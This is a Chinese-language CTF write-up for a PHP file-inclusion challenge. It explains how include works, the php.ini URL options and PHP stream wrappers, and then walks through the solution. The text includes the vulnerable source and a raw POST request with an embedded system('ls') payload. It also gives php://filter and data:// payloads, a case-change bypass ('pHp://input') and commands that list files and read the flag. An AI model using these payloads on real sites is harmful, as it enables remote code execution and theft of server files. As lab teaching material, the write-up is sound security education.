原创
最近更新: 2022/08/12 18:58

PHP的文件包含漏洞

题目引入

攻防世界 - Web_php_include

进入对应场景后可以看到源代码:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

其中有三个要点:

<?php
//1 一个看似有语义的字符串
"php://"
//2 include语句
include($page);
//3 字符串的查询和替换
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
?>

include语句

include语句是语法关键字,并不是一个函数。

include语句执行时,会读取并运行指定的文件。被包含文件中的变量作用域会扩大到调用文件中,类似于C的include语句。

如果对应的文件并不符合php语法,则会直接打印文件内容。

include("filename.php");
include "filename.txt";
//include_once保证文件只包含一次,避免重复执行带来的问题。
include_once("filename.html");
include_once "filename.html";

可以通过返回值方式跨文件传递数据。

//1.php
<?php 
return "1.php";
?>

//index.php
<?php
$a = include("1.php");//$a = "1.php";
//如果被包含文件没有return语句,则执行成功返回1,执行失败返回false
?>

以上描述同样适用于require语句,主要的区别在于,include语句在执行出错时抛出一个警告并继续执行,require语句会报错并终止。

此处的重点是include会执行响应的代码文件。

如果此处的文件名是从用户输入数据中获取,而代码中又缺乏对输入数据的审查和过滤,就有可能包含远程文件执行漏洞。

伪协议

PHP伪协议

相关配置参数

# php.ini
allow_url_fopen = ON
# 当设置为ON时,PHP允许打开各种协议的URL所指向的文件,包括http、ftp和PHP定义的其他伪协议。

allow_url_include = OFF
# 当设置为On时,PHP允许将URL作为include和require的对象。
# PHP5.2开始默认为OFF,之前默认为ON

php://

php的IO流协议。

php://input

用于读取POST表单内容,会以文件形式将请求体的数据传入。

enctype="multipart/form-data"时该协议无效。

/*http请求头
POST /?file=php://input HTTP/1.1
Host: 61.147.171.105:52416
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77
Connection: close
Content-Length: 21

<?php system('ls');?>
*/

//php源代码
<?php
include($_GET['file'];);
?>

php://filter

用于读取本地文件,并附上一定的文本过滤器来操作文件数据。

主要目的是避免原本文件中的特殊内容对代码造成影响。

文本过滤器和具体用法详见

一个简单例子:当需要打印php文件内容时,直接include会运行代码而不是打印,此时可以用filter的base64编码来进行打印。

//http://example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php
<?php
$file = $_GET['file']
include($file) //此处就会打印flag.php的base64编码,解码即可
?>

其他php://伪协议

php://stdin, php://stdout, php://stderr:标准输入输出。

php://output:只写的数据流,将数据写到PHP输出缓冲区。

php://fd:直接访问对应的文件描述符。

php://memory, php://temp:临时文件读写流,前者只存在内存中,后者在达到一定数据量后写入临时文件。

其他协议

file:///etc/password:访问本地文件系统。

http://www.baidu.com:访问 HTTP(s) 网址。

ftp://1.2.3.4:访问 FTP(s) URLs。

data://协议:

data://text/plain,<?php%20phpinfo();?> 		//按明文读取
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b	//先base64解码再读取

其他略。

协议的大小写问题

protocol://hostname:port/filepath

  • 协议部分和域名部分不区分大小写
  • 文件路径是否区分大小写看情况
    • 如果是linux文件系统,区分大小写
    • 如果是Windows文件系统,不区分大小写
    • 如果web服务器提供了虚拟路径,则一般区分大小写,或者根据具体服务器情况变化。

PHP伪协议的大小写情况同此理。

解题过程

  1. 61.147.171.105:56860/?page=pHp://input 在URL中用大小写绕过字符串检查
  2. 在POST负载中添加代码<?php system('ls')?>,获取文件列表,发现目录下存在文件fl4gisisish3r3.php
  3. 在POST负载中添加代码<?php system('cat fl4gisisish3r3.php')?>,获取对应flag文件内容

评论区